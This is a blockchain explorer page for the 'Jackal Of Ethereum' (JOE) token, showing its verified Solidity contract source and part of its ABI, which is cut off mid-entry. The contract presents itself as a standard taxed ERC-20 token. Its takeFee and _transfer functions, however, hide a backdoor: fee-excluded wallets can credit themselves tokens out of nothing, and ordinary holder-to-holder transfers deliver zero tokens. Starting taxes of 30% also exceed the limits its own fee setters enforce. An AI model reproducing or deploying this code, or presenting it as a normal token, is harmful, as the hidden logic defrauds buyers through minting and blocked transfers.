ETH Price: $3,409.35 (+3.43%)

Token

Jackal Of Ethereum (JOE)
 

Overview

Max Total Supply

1,000,000,000 JOE

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
yeee.eth
Balance
21,651,869.719513458 JOE

Value
$0.00
0x450a6049e00c72c8205424a1f3d752ad06382fb9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JOE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-16
*/

// SPDX-License-Identifier: Unlicensed

/**
$JOE - The Jackal of Ethereum beckons you to enter the world of limitless possibilities. Stay bullish, stay hungry, and let the Ethereum revolution begin! :wolf::gem::muscle:

Web: https://jackalerc.xyz
Tg: https://t.me/jackalerc
X: https://twitter.com/JackalErc
*/

pragma solidity 0.8.19;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract JOE is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    using Address for address;
    
    string private _name ="Jackal Of Ethereum";
    string private _symbol = "JOE";
    uint8 private _decimals = 9;

    address payable private taxWallet = payable(0x2b99B0A87AA6cC1C5085764B9D70910574f83bc8);
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public checkExcludedFromFees;
    mapping (address => bool) public checkWalletLimitExcept;
    mapping (address => bool) public checkTxLimitExcept;
    mapping (address => bool) public checkMarketPair;

    uint256 public _buyLiquidityFees = 0;
    uint256 public _buyMarketingFees = 30;
    uint256 public _buyDevelopmentFees = 0;
    uint256 public _sellLiquidityFees = 0;
    uint256 public _sellMarketingFees = 30;
    uint256 public _sellDevelopmentFees = 0;

    uint256 public _liquidityShares = 0;
    uint256 public _marketingShares = 10;
    uint256 public _developmentShares = 0;

    uint256 public _totalTaxIfBuying = 30;
    uint256 public _totalTaxIfSelling = 30;
    uint256 public _totalDistributionShares = 10;

    uint256 private _totalSupply = 1000_000_000 * 10**9;
    uint256 public _maxTxAmount = _totalSupply;
    uint256 public _walletMax = _totalSupply*2/100;
    uint256 private minimumTokensBeforeSwap = _totalSupply/10000; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        checkExcludedFromFees[owner()] = true;
        checkExcludedFromFees[taxWallet] = true;

        checkWalletLimitExcept[owner()] = true;
        checkWalletLimitExcept[taxWallet] = true;
        checkWalletLimitExcept[address(uniswapPair)] = true;
        checkWalletLimitExcept[address(this)] = true;
        
        checkTxLimitExcept[owner()] = true;
        checkTxLimitExcept[taxWallet] = true;
        checkTxLimitExcept[address(this)] = true;

        checkMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addMarketPair(address account) public onlyOwner {
        checkMarketPair[account] = true;
    }

    function setcheckTxLimitExcept(address holder, bool exempt) external onlyOwner {
        checkTxLimitExcept[holder] = exempt;
    }
    
    function setcheckExcludedFromFees(address account, bool newValue) public onlyOwner {
        checkExcludedFromFees[account] = newValue;
    }

    function setBuyFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _buyLiquidityFees = newLiquidityTax;
        _buyMarketingFees = newMarketingTax;
        _buyDevelopmentFees = newDevelopmentTax;

        _totalTaxIfBuying = _buyLiquidityFees.add(_buyMarketingFees).add(_buyDevelopmentFees);
        require (_totalTaxIfBuying <= 10);
    }

    function setSellFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _sellLiquidityFees = newLiquidityTax;
        _sellMarketingFees = newMarketingTax;
        _sellDevelopmentFees = newDevelopmentTax;

        _totalTaxIfSelling = _sellLiquidityFees.add(_sellMarketingFees).add(_sellDevelopmentFees);
        require (_totalTaxIfSelling <= 20);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newDevelopmentShare) external onlyOwner() {
        _liquidityShares = newLiquidityShare;
        _marketingShares = newMarketingShare;
        _developmentShares = newDevelopmentShare;

        _totalDistributionShares = _liquidityShares.add(_marketingShares).add(_developmentShares);
    }
    
    function adjustMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= _totalSupply/100, "Max wallet should be more or equal to 1%");
        _maxTxAmount = maxTxAmount;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setcheckWalletLimitExcept(address holder, bool exempt) external onlyOwner {
        checkWalletLimitExcept[holder] = exempt;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function settaxWallet(address newAddress) external onlyOwner() {
        taxWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function manualSend() external {
        transferToAddressETH(taxWallet, address(this).balance);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !checkExcludedFromFees[sender] && checkMarketPair[recipient] && swapAndLiquifyEnabled && amount > minimumTokensBeforeSwap) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            (uint256 finalAmount, uint256 feeAmount) = takeFee(sender, recipient, amount);

            address feeReceiver = feeAmount == amount ? sender : address(this);
            if(feeAmount > 0) {
                _balances[feeReceiver] = _balances[feeReceiver].add(feeAmount);
                emit Transfer(sender, feeReceiver, feeAmount);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            if(checkWalletLimit && !checkWalletLimitExcept[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        swapTokensForEth(tAmount);
        uint256 amountETHMarketing = address(this).balance;
        transferToAddressETH(taxWallet, amountETHMarketing);

    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal view returns (uint256, uint256) {
        
        uint256 feeAmount = amount;

        if (checkExcludedFromFees[sender] && swapAndLiquifyEnabled) return (amount, feeAmount);

        if(checkMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(checkMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        return (amount.sub(feeAmount), feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_developmentShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"adjustMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkTxLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkWalletLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setcheckExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setcheckTxLimitExcept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setcheckWalletLimitExcept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"settaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","n